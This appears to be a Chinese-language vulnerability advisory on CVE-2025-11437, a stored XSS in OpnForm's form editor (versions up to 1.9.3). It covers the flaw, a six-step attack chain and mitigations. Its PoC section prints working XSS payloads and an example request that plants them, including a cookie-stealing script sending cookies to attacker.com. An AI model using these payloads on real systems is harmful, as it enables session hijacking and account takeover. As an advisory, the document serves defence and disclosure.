IPBUF安全漏洞报告
English
CVE-2025-11437 CVSS 2.4 低危

CVE-2025-11437 JhumanJ OpnForm表单编辑器跨站脚本漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11437
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
JhumanJ OpnForm

相关标签

XSS跨站脚本攻击CVE-2025-11437JhumanJ OpnForm表单编辑器Web安全存储型XSS低危漏洞开源软件在线表单构建工具

漏洞概述

CVE-2025-11437是JhumanJ OpnForm开源在线表单构建工具中存在的一个跨站脚本(XSS)安全漏洞。该漏洞影响OpnForm 1.9.3及以下版本,位于/api/open/forms/路径下的Form Editor(表单编辑器)组件中。攻击者可以通过精心构造的恶意输入,利用表单编辑器中的输入字段未进行充分的输出编码和输入过滤的缺陷,注入恶意JavaScript代码或HTML标签。当其他用户或管理员查看受影响的表单页面时,恶意脚本将在受害者浏览器上下文中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击或恶意操作等目的。

根据CVSS 3.1评分体系,该漏洞评分为2.4分,属于低危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能发起攻击,且需要用户交互(UI:R)才能触发漏洞利用。该漏洞对机密性无影响(C:N),对完整性有低程度影响(I:L),对可用性无影响(A:N)。尽管评分较低,但由于XSS漏洞常被用作复杂攻击链中的关键环节,其潜在风险不容忽视。

该漏洞的利用代码已经公开披露,攻击者可以远程发起攻击。目前该漏洞正在接受进一步审查处理。值得注意的是,供应商已声明该功能在用户配置自己的域名之前处于禁用状态,这一措施在一定程度上可以缓解该攻击向量。但对于已经配置自定义域名的用户,仍需关注此漏洞带来的安全风险,并及时采取修复措施。

技术细节

该XSS漏洞的根本原因在于OpnForm表单编辑器组件在处理用户输入时,未对用户提交的数据进行充分的HTML实体编码或输入验证。具体而言,在/api/open/forms/端点相关的表单编辑功能中,攻击者可以通过在表单字段(如表单标题、描述、自定义字段等)中注入恶意脚本代码,这些代码随后会被存储到服务器端数据库中。

当其他用户(包括管理员)访问包含恶意代码的表单页面时,服务器返回的HTML页面中直接嵌入了未经转义的用户输入内容,导致浏览器将其解析为可执行的JavaScript代码而非纯文本内容。由于OpnForm是一个面向公众的表单构建平台,其表单通常会被广泛分享和访问,这大大增加了XSS攻击的影响范围。

漏洞利用需要高权限(PR:H),这意味着攻击者需要拥有已认证的用户账户才能注入恶意内容。同时需要用户交互(UI:R),即需要受害者主动访问包含恶意代码的表单页面。典型的利用方式包括:攻击者创建一个包含恶意JavaScript的表单,然后通过社交工程手段诱导目标用户访问该表单。恶意脚本可以执行的操作包括窃取用户的会话Cookie、获取CSRF令牌、重定向用户到钓鱼页面、在用户上下文中执行未授权操作等。

根据CVSS向量分析,该漏洞仅影响完整性而不影响机密性和可用性,这可能是因为攻击场景主要限于在用户上下文中执行脚本操作,而非直接获取敏感数据或破坏服务可用性。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者首先需要获取OpnForm平台的合法用户账户凭据,因为该漏洞需要高权限(PR:H)才能利用。这可以通过注册新账户、购买泄露凭据或通过其他社会工程手段实现。
STEP 2
步骤2:登录并访问表单编辑器
攻击者使用合法凭据登录OpnForm平台,导航至Form Editor(表单编辑器)组件,访问/api/open/forms/相关接口,准备创建恶意表单。
STEP 3
步骤3:注入恶意XSS载荷
攻击者在表单的标题、描述或自定义字段中注入精心构造的恶意JavaScript代码或HTML标签。由于服务端未对输入进行充分的过滤和编码,这些恶意内容将被存储到数据库中。
STEP 4
步骤4:发布并分享恶意表单
攻击者保存包含恶意代码的表单并获取其公开访问URL,然后通过电子邮件、社交媒体或其他渠道诱导目标用户(特别是管理员或其他有权限的用户)访问该表单页面。
STEP 5
步骤5:触发恶意脚本执行
当受害者访问包含恶意代码的表单页面时,浏览器解析HTML并执行嵌入的恶意JavaScript代码。脚本在受害者的会话上下文中运行,可以窃取Cookie、会话令牌,或执行其他未授权操作。
STEP 6
步骤6:利用窃取的信息进行进一步攻击
攻击者利用窃取的会话信息冒充受害者,可能执行权限提升、数据窃取、账户接管或其他恶意活动,完成整个攻击链。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-11437 PoC - Stored XSS in OpnForm Form Editor --> <!-- Vulnerability Location: /api/open/forms/ (Form Editor Component) --> <!-- Affected Versions: OpnForm <= 1.9.3 --> <!-- Step 1: Attacker authenticates to OpnForm with valid credentials --> <!-- Step 2: Attacker creates a new form via Form Editor --> <!-- Step 3: Inject malicious payload into form fields (e.g., form title, description, or custom fields) --> <!-- Example payloads for different XSS contexts: --> <!-- Payload 1: Basic script tag injection --> <script>alert('XSS-CVE-2025-11437')</script> <!-- Payload 2: Image tag with onerror event handler --> "><img src=x onerror=alert(document.domain)> <!-- Payload 3: SVG-based XSS payload --> <svg/onload=alert('XSS')> <!-- Payload 4: Cookie stealing payload (for demonstration) --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Step 4: Save the form and share the form URL with victim users --> <!-- Step 5: When victim visits the form page, the malicious script executes in their browser context --> // Example HTTP Request to create malicious form: // POST /api/open/forms/ HTTP/1.1 // Host: target-opnform-instance.com // Content-Type: application/json // Cookie: <authenticated_session_cookie> // // { // "title": "<script>alert('XSS')</script>", // "description": "<img src=x onerror=alert(document.cookie)>", // "fields": [ // { // "type": "text", // "label": "<svg/onload=alert(1)>", // "name": "field1" // } // ] // }

影响范围

JhumanJ OpnForm <= 1.9.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)确保OpnForm实例使用自定义域名配置,因为供应商已声明在用户配置自己的域名之前该功能处于禁用状态,这可以有效缓解攻击向量;2)限制可访问表单编辑器的用户范围,仅允许可信管理员使用;3)在Web服务器层面部署WAF规则,拦截常见的XSS攻击载荷;4)为浏览器配置严格的CSP策略;5)监控异常的用户输入和表单创建活动,及时发现潜在的恶意行为;6)对现有已创建的表单进行安全审查,清理可能包含恶意代码的内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表